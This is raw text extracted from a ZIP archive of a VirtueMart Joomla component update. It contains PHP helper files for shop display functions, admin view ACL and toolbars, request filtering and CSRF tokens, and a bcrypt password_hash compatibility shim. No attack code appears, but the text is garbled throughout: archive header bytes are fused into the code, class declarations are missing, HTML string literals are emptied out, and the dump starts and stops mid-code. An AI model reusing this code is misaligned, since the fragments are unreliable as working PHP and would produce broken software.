2; // int div 3 * 2 width/heigh ratio $localstyle = " style='width:" . $size . "em;'"; } $return = ""; if ($cells) { if ($rows) { $return = "\n\t"; $cols = ($cells - ($cells % $rows)) / $rows; // int div if ($cells % $rows) { $cols++; } $lineIdx = 0; for ($lineIdx = 0; $lineIdx < min ($rows, $cells); $lineIdx++) { $return .= "\n\t\t"; for ($i = $lineIdx; $i < $cells; $i += $rows) { $return .= ""; } $return .= "\n"; } $return .= "\t
    " . $cellsHtml[$i] . "
    \n"; } else { if ($cols) { $return = "\n\t"; $idx = 0; while ($cells) { $return .= "\n\t\t"; for ($i = 0, $n = min ($cells, $cols); $i < $n; $i++, $cells--) { $return .= ""; } $return .= "\n"; } $return .= "\t
    " . $cellsHtml[$idx++] . "
    \n"; } else { $return = "\n\t" . implode ("\n\t ", $cellsHtml) . "\n"; } } } return $return; } /** * Return $str with all but $display_length at the end as asterisks. * * @author gday * * @access public * @param string $str The string to mask * @param int $display_length The length at the end of the string that is NOT masked * @param boolean $reversed When true, masks the end. Masks from the beginning at default * @return string The string masked by asteriks */ public function asteriskPad ($str, $display_length, $reversed = FALSE) { $total_length = strlen ($str); if ($total_length > $display_length) { if (!$reversed) { for ($i = 0; $i < $total_length - $display_length; $i++) { $str[$i] = "*"; } } else { for ($i = $total_length - 1; $i >= $total_length - $display_length; $i--) { $str[$i] = "*"; } } } return ($str); } /** * Return the icon to move an item UP * * @access public * @param int $i The row index * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item up or a space * @since 1.0 */ function orderUpIcon ($i, $condition = TRUE, $task = 'orderup', $alt = 'COM_VIRTUEMART_MOVE_UP', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i > 0) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } /** * Return the icon to move an item DOWN * * @access public * @param int $i The row index * @param int $n The number of items in the list * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item down or a space * @since 1.0 */ function orderDownIcon ($i, $n, $condition = TRUE, $task = 'orderdown', $alt = 'Move Down', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i < $n - 1) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } static function getValidProductFilterArray () { static $filterArray; if (!isset($filterArray)) { /* $filterArray = array('p.virtuemart_product_id', 'p.product_sku','pp.product_price','c.category_name','c.category_description', 'm.mf_name', 'l.product_s_desc', 'p.product_desc', 'p.product_weight', 'p.product_weight_uom', 'p.product_length', 'p.product_width', 'p.product_height', 'p.product_lwh_uom', 'p.product_in_stock', 'p.low_stock_notification', 'p.product_available_date', 'p.product_availability', 'p.product_special', 'p.created_on', 'p.modified_on', 'l.product_name', 'p.product_sales', 'p.product_unit', 'p.product_packaging', 'p.intnotes', 'l.metadesc', 'l.metakey', 'p.metarobot', 'p.metaauthor'); } */ $filterArray = array('product_name', '`p`.created_on', '`p`.product_sku', 'product_s_desc', 'product_desc','`l`.slug', 'category_name', 'category_description', 'mf_name', 'product_price', '`p`.product_special', '`p`.product_sales', '`p`.product_availability', '`p`.product_available_date', '`p`.product_height', '`p`.product_width', '`p`.product_length', '`p`.product_lwh_uom', '`p`.product_weight', '`p`.product_weight_uom', '`p`.product_in_stock', '`p`.low_stock_notification', '`p`.modified_on', '`p`.product_unit', '`p`.product_packaging', '`p`.virtuemart_product_id', 'pc.ordering'); //other possible fields //'p.intnotes', this is maybe interesting, but then only for admins or special shoppergroups // this fields leads to trouble, because we have this fields in product, category and manufacturer, // they are anyway making not a lot sense for orderby or search. //'l.metadesc', 'l.metakey', 'l.metarobot', 'l.metaauthor' } return $filterArray; } /** * Returns developer information for a plugin * Returns a 2 link with background image, should look like a button to open contact page or manual * * @static * @param $title string Title of the plugin * @param $intro string Intro text * @param $logolink url Url to logo images, use here the path and then as image names contact.png and manual.png * @param $developer string Name of the developer/company * @param $contactlink url Url to the contact form of the developer for support * @param $manlink url URL to the manual for this specific plugin * @return string */ static function display3rdInfo($title,$intro,$developer,$logolink,$contactlink,$manlink,$width='96px',$height='66px',$linesHeight='33px'){ $html = $intro; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_CONTACT',$developer),$contactlink, $logolink.'/contact.png',$width,$height,$linesHeight); $html .='
    '; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_MANUAL',$title),$manlink, $logolink.'/manual.png',$width,$height,$linesHeight); return $html; } static function displayLinkButton($title, $link, $bgrndImage,$width,$height,$linesHeight,$additionalStyles=''){ //$lineHeight = ((int)$height)/$lines; //vmdebug('displayLinkButton '.$height.' '.$lineHeight); $html = ''; return $html; } static $tested = False; static function checkSafePath($safePath=0){ if($safePath==0) { $safePath = VmConfig::get('forSale_path',0); if(self::$tested) return $safePath; } $warn = FALSE; $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; VmConfig::loadJLang('com_virtuemart'); if(empty($safePath)){ $warn = 'COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET'; } else { $exists = JFolder::exists($safePath); if(!$exists){ $warn = 'COM_VIRTUEMART_WARN_SAFE_PATH_WRONG'; } else{ if(!is_writable( $safePath )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } else { if(!is_writable(self::getInvoicePath($safePath) )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } } } } if($warn){ $suggestedPath=shopFunctions::getSuggestedSafePath(); VmConfig::loadJLang('com_virtuemart_config'); VmWarn($warn,JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$suggestedPath,$configlink); return FALSE; } return $safePath; } /* * get The invoice Folder Name * @return the invoice folder name */ static function getInvoiceFolderName() { return 'invoices' ; } /* * get The invoice path * @param $safePath the safepath from the config * @return the path where the invoice are stored */ static function getInvoicePath($safePath) { return $safePath.self::getInvoiceFolderName() ; } /* * Returns the suggested safe Path, used to store the invoices * @static * @return string: suggested safe path */ static public function getSuggestedSafePath() { $lastIndex= strrpos(JPATH_ROOT,DS); return substr(JPATH_ROOT,0,$lastIndex).DS.'vmfiles'; } /* * @author Valerie Isaksen */ static public function renderProductShopperList ($productShoppers) { $html = ''; $i=0; if(empty($productShoppers)) return ''; foreach ($productShoppers as $email => $productShopper) { $html .= ' ' . $productShopper['name'] . ' ' . $productShopper['email'] . ' ' . $productShopper['phone'] . ''; $first=TRUE; foreach ($productShopper['order_info'] as $order_info) { if (!$first) $html .= ''; $html .= ''; $html .= $order_info['quantity']; $html .= ''; $html .= ''; $html .= JText::_($order_info['order_item_status_name']); $html .= ' '; $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $order_info['order_id']; $html .= JHTML::_ ('link', $link, $order_info['order_number'], array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order_info['order_number'])); $first=FALSE; $html .= ' '; } $i = 1 - $i; } if (empty($html)) { $html = ' ' . JText::_ ('COM_VIRTUEMART_NO_SEARCH_RESULT') . ' '; } return $html; } static public function renderMetaEdit($obj){ $options = array( '' => JText::_('JGLOBAL_INDEX_FOLLOW'), 'noindex, follow' => JText::_('JGLOBAL_NOINDEX_FOLLOW'), 'index, nofollow' => JText::_('JGLOBAL_INDEX_NOFOLLOW'), 'noindex, nofollow' => JText::_('JGLOBAL_NOINDEX_NOFOLLOW'), 'noodp, noydir' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR'), 'noodp, noydir, nofollow' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW'), ); $html = ' '.VmHTML::row('input','COM_VIRTUEMART_CUSTOM_PAGE_TITLE','customtitle',$obj->customtitle).' '.VmHTML::row('textarea','COM_VIRTUEMART_METAKEY','metakey',$obj->metakey,'class="inputbox"',80).' '.VmHTML::row('textarea','COM_VIRTUEMART_METADESC','metadesc',$obj->metadesc,'class="inputbox"',80).' '.VmHtml::row('selectList','COM_VIRTUEMART_METAROBOTS','metarobot',$obj->metarobot,$options).' '.VmHTML::row('input','COM_VIRTUEMART_METAAUTHOR','metaauthor',$obj->metaauthor).'
    '; return $html; } } //pure php no tag PKsl>\#cIIPcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmview.phpnuW+AcanDo = self::getActions(); } /* * Override the display function to include ACL * Redirect to the control panel when user does not have access */ public function display($tpl = null) { $view = vRequest::getCmd('view', vRequest::getCmd('controller','virtuemart')); if ($view == 'virtuemart' //Virtuemart view is always allowed since this is the page we redirect to in case the user does not have the rights || $view == 'about' //About view always displayed || $this->canDo->get('core.admin')) { //Super administrators always have access parent::display($tpl); return; } //Super administrator always has access if ($this->canDo->get('core.admin')) { parent::display($tpl); return; } if (!$this->canDo->get('vm.'.$view)) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } parent::display($tpl); } /* * Get the ACL actions */ public static function getActions() { $user = JFactory::getUser(); $result = new JObject; //Get the core actions $core_actions = JAccess::getActions('com_virtuemart','component'); foreach ($core_actions as $action) { $result->set($action->name, $user->authorise($action->name, 'com_virtuemart')); } //Get the actions for each section $sections=array('product','category','manufacturer','orders','shop','other'); foreach ($sections as $section) { $section_actions = JAccess::getActions('com_virtuemart',$section); foreach ($section_actions as $action) { $result->set($action->name, $user->authorise($action->name, 'com_virtuemart')); } } return $result; } /* * set all commands and options for BE default.php views * return $list filter_order and */ function addStandardDefaultViewCommands($showNew=true, $showDelete=true, $showHelp=true) { $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); JToolBarHelper::divider(); if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit.state')) { JToolBarHelper::publishList(); JToolBarHelper::unpublishList(); } if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit')) { JToolBarHelper::editListX(); } if ($this->canDo->get('core.admin') || $showNew && $this->canDo->get('vm.'.$view.'.create')) { JToolBarHelper::addNewX(); } if ($this->canDo->get('core.admin') || $showDelete && $this->canDo->get('vm.'.$view.'.delete')) { JToolBarHelper::deleteList(); } self::showHelp ( $showHelp); self::showACLPref($view); } /* * set pagination and filters * return Array() $list( filter_order and dir ) */ function addStandardDefaultViewLists($model, $default_order = 0, $default_dir = 'DESC',$name = 'search') { //This function must be used after the listing // $pagination = $model->getPagination(); // $this->assignRef('pagination', $pagination); /* set list filters */ $option = JRequest::getCmd('option'); $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); $app = JFactory::getApplication(); $lists[$name] = $app->getUserStateFromRequest($option . '.' . $view . '.'.$name, $name, '', 'string'); $lists['filter_order'] = $this->getValidFilterOrder($app,$model,$view,$default_order); // if($default_dir===0){ $toTest = $app->getUserStateFromRequest( 'com_virtuemart.'.$view.'.filter_order_Dir', 'filter_order_Dir', $default_dir, 'cmd' ); $lists['filter_order_Dir'] = $model->checkFilterDir($toTest); $this->assignRef('lists', $lists); } function getValidFilterOrder($app,$model,$view,$default_order){ if($default_order===0){ $default_order = $model->getDefaultOrdering(); } $toTest = $app->getUserStateFromRequest( 'com_virtuemart.'.$view.'.filter_order', 'filter_order', $default_order, 'cmd' ); // vmdebug('getValidFilterOrder '.$toTest.' '.$default_order, $model->_validOrderingFieldName); return $model->checkFilterOrder($toTest); } /* * Add simple search to form * @param $searchLabel text to display before searchbox * @param $name lists and id name * ??JText::_('COM_VIRTUEMART_NAME') */ function displayDefaultViewSearch($searchLabel='COM_VIRTUEMART_NAME',$name ='search') { return JText::_('COM_VIRTUEMART_FILTER') . ' ' . JText::_($searchLabel) . ': '; } function addStandardEditViewCommands($id = 0,$object = null) { $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); if (JRequest::getCmd('tmpl') =='component' ) { if (!class_exists('JToolBarHelper')) require(JPATH_ADMINISTRATOR.DS.'includes'.DS.'toolbar.php'); } else { // JRequest::setVar('hidemainmenu', true); JToolBarHelper::divider(); if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit')) { JToolBarHelper::save(); JToolBarHelper::apply(); } JToolBarHelper::cancel(); self::showHelp(); self::showACLPref($view); } // javascript for cookies setting in case of press "APPLY" $document = JFactory::getDocument(); if (JVM_VERSION===1) { $j = " // " ; } else $j = " // " ; $document->addScriptDeclaration ( $j); // LANGUAGE setting $editView = JRequest::getWord('view',JRequest::getWord('controller','' ) ); $params = JComponentHelper::getParams('com_languages'); //$config =JFactory::getConfig();$config->getValue('language'); $selectedLangue = $params->get('site', 'en-GB'); $lang = strtolower(strtr($selectedLangue,'-','_')); // Get all the published languages defined in Language manager > Content $allLanguages = JLanguageHelper::getLanguages(); foreach ($allLanguages as $jlang) { $languagesByCode[$jlang->lang_code]=$jlang; } // only add if ID and view not null if ($editView and $id and (count(vmconfig::get('active_languages'))>1) ) { if ($editView =='user') $editView ='vendor'; //$params = JComponentHelper::getParams('com_languages'); jimport('joomla.language.helper'); $lang = JRequest::getVar('vmlang', $lang); // list of languages installed in #__extensions (may be more than the ones in the Language manager > Content if the user did not added them) $languages = JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true); $activeVmLangs = (vmconfig::get('active_languages') ); $flagCss=""; foreach ($languages as $k => &$joomlaLang) { if (!in_array($joomlaLang['value'], $activeVmLangs) ) { unset($languages[$k] ); } else { $key=$joomlaLang['value']; if(!isset($languagesByCode[$key])){ $img = substr($key,0,2);//We try a fallback vmdebug('COM_VIRTUEMART_MISSING_FLAG',$img,$joomlaLang['text']); } else { $img=$languagesByCode[$key]->image; } $image_flag=JPATH_SITE."/media/mod_languages/images/".$img.".gif"; $image_flag_url= JURI::root()."/media/mod_languages/images/".$img.".gif"; if (!file_exists ($image_flag)) { vmerror(JText::sprintf('COM_VIRTUEMART_MISSING_FLAG', $image_flag,$joomlaLang['text'] ) ); } else { $flagCss .="td.flag-".$key.",.flag-".$key."{background: url( ".$image_flag_url.") no-repeat 0 0; padding-left:20px !important;}\n"; } } } JFactory::getDocument()->addStyleDeclaration($flagCss); $langList = JHTML::_('select.genericlist', $languages, 'vmlang', 'class="inputbox"', 'value', 'text', $selectedLangue , 'vmlang'); $this->assignRef('langList',$langList); $this->assignRef('lang',$lang); if ($editView =='product') { $productModel = VmModel::getModel('product'); $childproducts = $productModel->getProductChilds($id) ? $productModel->getProductChilds($id) : ''; } $token = JUtility::getToken(); $j = ' jQuery(function($) { var oldflag = ""; $("select#vmlang").chosen().change(function() { langCode = $(this).find("option:selected").val(); flagClass = "flag-"+langCode; $.getJSON( "index.php?option=com_virtuemart&view=translate&task=paste&format=json&lg="+langCode+"&id='.$id.'&editView='.$editView.'&'.$token.'=1" , function(data) { var items = []; if (data.fields !== "error" ) { if (data.structure == "empty") alert(data.msg); $.each(data.fields , function(key, val) { cible = jQuery("#"+key); if (oldflag !== "") cible.parent().removeClass(oldflag) if (cible.parent().addClass(flagClass).children().hasClass("mce_editable") && data.structure !== "empty" ) tinyMCE.execInstanceCommand(key,"mceSetContent",false,val); else if (data.structure !== "empty") cible.val(val); }); } else alert(data.msg);'; if($editView =='product' && !empty($childproducts)) { foreach($childproducts as $child) { $j .= ' $.getJSON( "index.php?option=com_virtuemart&view=translate&task=paste&format=json&lg="+langCode+"&id='.$child->virtuemart_product_id.'&editView='.$editView.'&'.$token.'=1" , function(data) { cible = jQuery("#child'. $child->virtuemart_product_id .'product_name"); cible.parent().removeClass(oldflag) cible.parent().addClass(flagClass); cible.val(data.fields["product_name"]); jQuery("#child'. $child->virtuemart_product_id .'slug").val(data.fields["slug"]); oldflag = flagClass ; } ) '; } } else $j .= 'oldflag = flagClass ;'; $j .= ' } ) }); })'; $document->addScriptDeclaration ( $j); } else { // $params = JComponentHelper::getParams('com_languages'); // $lang = $params->get('site', 'en-GB'); $jlang = JFactory::getLanguage(); $langs = $jlang->getKnownLanguages(); $defautName = $selectedLangue; $flagImg = $selectedLangue; if(isset($languagesByCode[$selectedLangue])){ $defautName = $langs[$selectedLangue]['name']; $flagImg= JHtml::_('image', 'mod_languages/'. $languagesByCode[$selectedLangue]->image.'.gif', $languagesByCode[$selectedLangue]->title_native, array('title'=> $languagesByCode[$selectedLangue]->title_native), true); } else { vmWarn(vmText::sprintf('COM_VIRTUEMART_MISSING_FLAG',$selectedLangue,$selectedLangue)); } $langList = ''.$flagImg.' '.$defautName.''; $this->assignRef('langList',$langList); $this->assignRef('lang',$lang); } } function SetViewTitle($name ='', $msg ='',$icon ='') { $view = JRequest::getWord('view', JRequest::getWord('controller')); if ($name == '') $name = strtoupper($view); if ($icon == '') $icon = strtolower($view); if (!$task = JRequest::getWord('task')) $task = 'list'; if (!empty($msg)) { $msg = ' ' . $msg . ''; } $viewText = JText::_('COM_VIRTUEMART_' . strtoupper($name)); $taskName = ' [ ' . JText::_('COM_VIRTUEMART_' . $task) . ' ]'; JToolBarHelper::title($viewText . ' ' . $taskName . $msg, 'head vm_' . $icon . '_48'); $this->assignRef('viewName',$viewText); //was $viewName? $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $doc->setTitle($app->getCfg('sitename'). ' - ' .JText::_('JADMINISTRATION').' - '.strip_tags($msg)); } function sort($orderby ,$name=null ){ if (!$name) $name= 'COM_VIRTUEMART_'.strtoupper ($orderby); return JHTML::_('grid.sort' , JText::_($name) , $orderby , $this->lists['filter_order_Dir'] , $this->lists['filter_order']); } public function addStandardHiddenToForm($controller=null, $task=''){ if (!$controller) $controller = JRequest::getCmd('view'); $option = JRequest::getCmd('option','com_virtuemart' ); $hidden =''; if (array_key_exists('filter_order',$this->lists)) $hidden =' '; return $hidden.' '. JHTML::_( 'form.token' ); } static function getToolbar($vmView) { // add required stylesheets from admin template $document = JFactory::getDocument(); $document->addStyleSheet('administrator/templates/system/css/system.css'); //now we add the necessary stylesheets from the administrator template //in this case i make reference to the bluestork default administrator template in joomla 1.6 $document->addCustomTag( ''."\n\n". ''."\n". ''."\n" ); $html = '
    '; $html .= ''; $html .= '
    '; $html .= '
    '; return $html; } /** * Additional grid function for custom toggles * * @return string HTML code to write the toggle button */ function toggle( $field, $i, $toggle, $imgY = 'tick.png', $imgX = 'publish_x.png', $prefix='' ) { $img = $field ? $imgY : $imgX; if ($toggle == 'published') { // Stay compatible with grid.published $task = $field ? 'unpublish' : 'publish'; $alt = $field ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_UNPUBLISHED'); $action = $field ? JText::_('COM_VIRTUEMART_UNPUBLISH_ITEM') : JText::_('COM_VIRTUEMART_PUBLISH_ITEM'); } else { $task = $field ? $toggle.'.0' : $toggle.'.1'; $alt = $field ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_DISABLED'); $action = $field ? JText::_('COM_VIRTUEMART_DISABLE_ITEM') : JText::_('COM_VIRTUEMART_ENABLE_ITEM'); } if (JVM_VERSION>1) { return ('' .JHTML::_('image', 'admin/' .$img, $alt, null, true) .''); } else { return ('' .''. $alt .''); } } function showhelp(){ /* http://docs.joomla.org/Help_system/Adding_a_help_button_to_the_toolbar */ $task=JRequest::getWord('task', ''); $view=JRequest::getWord('view', ''); if ($task) { if ($task=="add") { $task="edit"; } $task ="_".$task; } if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); VmConfig::loadJLang('com_virtuemart_help'); $lang = JFactory::getLanguage(); $key= 'COM_VIRTUEMART_HELP_'.$view.$task; if ($lang->hasKey($key)) { $help_url = JTEXT::_($key)."?tmpl=component"; $bar = JToolBar::getInstance('toolbar'); $bar->appendButton( 'Popup', 'help', 'JTOOLBAR_HELP', $help_url, 960, 500 ); } } function showACLPref(){ if ($this->canDo->get('core.admin')) { JToolBarHelper::divider(); $bar = JToolBar::getInstance('toolbar'); // Add a configuration button. $bar->appendButton('Popup', 'lock', 'JCONFIG_PERMISSIONS_LABEL', 'index.php?option=com_config&view=component&component=com_virtuemart&tmpl=component', 875, 550, 0, 0, ''); } } }PKsl>\hB<  Rcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vrequest.phpnuW+A); public static function uword($field, $default='', $custom=''){ $source = self::getVar($field,$default); return self::filterUword($source,$custom); } public static function filterUword($source, $custom,$replace=''){ if(function_exists('mb_ereg_replace')){ //$source is string that will be filtered, $custom is string that contains custom characters return mb_ereg_replace('[^\w'.preg_quote($custom).']', $replace, $source); } else { return preg_replace("~[^\w".preg_quote($custom,'~')."]~", $replace, $source); //We use Tilde as separator, and give the preq_quote function the used separator } } public static function getBool($name, $default = 0){ $tmp = self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); if($tmp){ $tmp = true; } else { $tmp = false; } return $tmp; } public static function getInt($name, $default = 0){ return self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); } public static function getFloat($name,$default=0.0){ return self::get($name,$default,FILTER_SANITIZE_NUMBER_FLOAT,FILTER_FLAG_ALLOW_SCIENTIFIC|FILTER_FLAG_ALLOW_FRACTION); } /** * - Strips all characters that has a numerical value <32. * - Strips all html. * * @param $name * @param null $default * @return mixed|null */ public static function getVar($name, $default = null){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW ); } /** * - Strips all characters that has a numerical value <32. * - encodes html * * @param $name * @param string $default * @return mixed|null */ public static function getString($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_SPECIAL_CHARS,FILTER_FLAG_STRIP_LOW); } public static function getHtml($name, $default = ''){ $tmp = self::get($name, $default); return JComponentHelper::filterText($tmp); } /** * Gets a filtered request value * - Strips all characters that has a numerical value <32 and >127. * - strips html * @author Max Milbers * @param $name * @param string $default * @return mixed|null */ public static function getCmd($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } public static function getWord($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } /** * Main filter function, called by the others with set Parameters * The standard filter is non restrictiv. * * @author Max Milbers * @param $name * @param null $default * @param int $filter * @param int $flags * @return mixed|null */ public static function get($name, $default = null, $filter = FILTER_UNSAFE_RAW, $flags = FILTER_FLAG_STRIP_LOW){ //vmSetStartTime(); if(!empty($name)){ if(!isset($_REQUEST[$name])) return $default; //if(strpos($name,'[]'!==FALSE)){ if(is_array($_REQUEST[$name])){ return filter_var_array($_REQUEST[$name], $filter ); } else { return filter_var($_REQUEST[$name], $filter, $flags); } } else { vmTrace('empty name in vRequest::get'); return $default; } } /** * Gets the request and filters it directly. It uses the standard php function filter_var_array, * The standard filter allows all chars, also the special ones. But removes dangerous html tags. * * @author Max Milbers * @param array $filter * @return mixed cleaned $_REQUEST */ public static function getRequest( ){ return filter_var_array($_REQUEST, FILTER_SANITIZE_STRING); } public static function getPost( ){ return filter_var_array($_POST, FILTER_SANITIZE_STRING); } public static function getGet( ){ return filter_var_array($_GET, FILTER_SANITIZE_STRING); } public static function getFiles($name){ return filter_var_array($_FILES[$name], FILTER_SANITIZE_STRING); } public static function setVar($name, $value = null){ if(isset($_REQUEST[$name])){ $tmp = $_REQUEST[$name]; $_REQUEST[$name] = $value; return $tmp; } else { $_REQUEST[$name] = $value; return null; } } /** * Checks for a form token in the request. * * @return boolean True if token valid * */ public static function vmCheckToken($redirectMsg=0){ $token = self::getFormToken(); if (!self::uword($token, false)){ if ($rToken = self::uword('token', false)){ if($rToken == $token){ return true; } } $session = JFactory::getSession(); if ($session->isNew()){ // Redirect to login screen. $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php'), vmText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED')); $app->close(); } else { if($redirectMsg===0){ $redirectMsg = 'Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task'); //jexit('Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task')); } else { $redirectMsg = vmText::_($redirectMsg); } // Redirect to login screen. $app = JFactory::getApplication(); $session->close(); $app->redirect(JRoute::_('index.php'), $redirectMsg); $app->close(); return false; } } else { return false; } } public static function getFormToken($fNew = false){ $user = JFactory::getUser(); $session = JFactory::getSession(); if(empty($user->id)) $user->id = 0; $hash = JApplication::getHash($user->id . $session->getToken($fNew)); return $hash; } }PKsl>\^''Ycom_virtuemart_update/administrator/components/com_virtuemart/helpers/password_compat.phpnuW+A * @license http://www.opensource.org/licenses/mit-license.html MIT License * @copyright 2012 The Authors */ namespace { if (!defined('PASSWORD_DEFAULT')) { define('PASSWORD_BCRYPT', 1); define('PASSWORD_DEFAULT', PASSWORD_BCRYPT); /** * Hash the password using the specified algorithm * * @param string $password The password to hash * @param int $algo The algorithm to use (Defined by PASSWORD_* constants) * @param array $options The options for the algorithm to use * * @return string|false The hashed password, or false on error. */ function password_hash($password, $algo, array $options = array()) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_hash to function", E_USER_WARNING); return null; } if (!is_string($password)) { trigger_error("password_hash(): Password must be a string", E_USER_WARNING); return null; } if (!is_int($algo)) { trigger_error("password_hash() expects parameter 2 to be long, " . gettype($algo) . " given", E_USER_WARNING); return null; } $resultLength = 0; switch ($algo) { case PASSWORD_BCRYPT: // Note that this is a C constant, but not exposed to PHP, so we don't define it here. $cost = 10; if (isset($options['cost'])) { $cost = $options['cost']; if ($cost < 4 || $cost > 31) { trigger_error(sprintf("password_hash(): Invalid bcrypt cost parameter specified: %d", $cost), E_USER_WARNING); return null; } } // The length of salt to generate $raw_salt_len = 16; // The length required in the final serialization $required_salt_len = 22; $hash_format = sprintf("$2y$%02d$", $cost); // The expected length of the final crypt() output $resultLength = 60; break; default: trigger_error(sprintf("password_hash(): Unknown password hashing algorithm: %s", $algo), E_USER_WARNING); return null; } $salt_requires_encoding = false; if (isset($options['salt'])) { switch (gettype($options['salt'])) { case 'NULL': case 'boolean': case 'integer': case 'double': case 'string': $salt = (string) $options['salt']; break; case 'object': if (method_exists($options['salt'], '__tostring')) { $salt = (string) $options['salt']; break; } case 'array': case 'resource': default: trigger_error('password_hash(): Non-string salt parameter supplied', E_USER_WARNING); return null; } if (PasswordCompat\binary\_strlen($salt) < $required_salt_len) { trigger_error(sprintf("password_hash(): Provided salt is too short: %d expecting %d", PasswordCompat\binary\_strlen($salt), $required_salt_len), E_USER_WARNING); return null; } elseif (0 == preg_match('#^[a-zA-Z0-9./]+$#D', $salt)) { $salt_requires_encoding = true; } } else { $buffer = ''; $buffer_valid = false; if (function_exists('mcrypt_create_iv') && !defined('PHALANGER')) { $buffer = mcrypt_create_iv($raw_salt_len, MCRYPT_DEV_URANDOM); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && function_exists('openssl_random_pseudo_bytes')) { $buffer = openssl_random_pseudo_bytes($raw_salt_len); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && @is_readable('/dev/urandom')) { $f = fopen('/dev/urandom', 'r'); $read = PasswordCompat\binary\_strlen($buffer); while ($read < $raw_salt_len) { $buffer .= fread($f, $raw_salt_len - $read); $read = PasswordCompat\binary\_strlen($buffer); } fclose($f); if ($read >= $raw_salt_len) { $buffer_valid = true; } } if (!$buffer_valid || PasswordCompat\binary\_strlen($buffer) < $raw_salt_len) { $bl = PasswordCompat\binary\_strlen($buffer); for ($i = 0; $i < $raw_salt_len; $i++) { if ($i < $bl) { $buffer[$i] = $buffer[$i] ^ chr(mt_rand(0, 255)); } else { $buffer .= chr(mt_rand(0, 255)); } } } $salt = $buffer; $salt_requires_encoding = true; } if ($salt_requires_encoding) { // encode string with the Base64 variant used by crypt $base64_digits = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $bcrypt64_digits = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $base64_string = base64_encode($salt); $salt = strtr(rtrim($base64_string, '='), $base64_digits, $bcrypt64_digits); } $salt = PasswordCompat\binary\_substr($salt, 0, $required_salt_len); $hash = $hash_format . $salt; $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != $resultLength) { return false; } return $ret; } /** * Get information about the password hash. Returns an array of the information * that was used to generate the password hash. * * array( * 'algo' => 1, * 'algoName' => 'bcrypt', * 'options' => array( * 'cost' => 10, * ), * ) * * @param string $hash The password hash to extract info from * * @return array The array of information about the hash. */ function password_get_info($hash) { $return = array( 'algo' => 0, 'algoName' => 'unknown', 'options' => array(), ); if (PasswordCompat\binary\_substr($hash, 0, 4) == '$2y$' && PasswordCompat\binary\_strlen($hash) == 60) { $return['algo'] = PASSWORD_BCRYPT; $return['algoName'] = 'bcrypt'; list($cost) = sscanf($hash, "$2y$%d$"); $return['options']['cost'] = $cost; } return $return; } /** * Determine if the password hash needs to be rehashed according to the options provided * * If the answer is true, after validating the password using password_verify, rehash it. * * @param string $hash The hash to test * @param int $algo The algorithm used for new password hashes * @param array $options 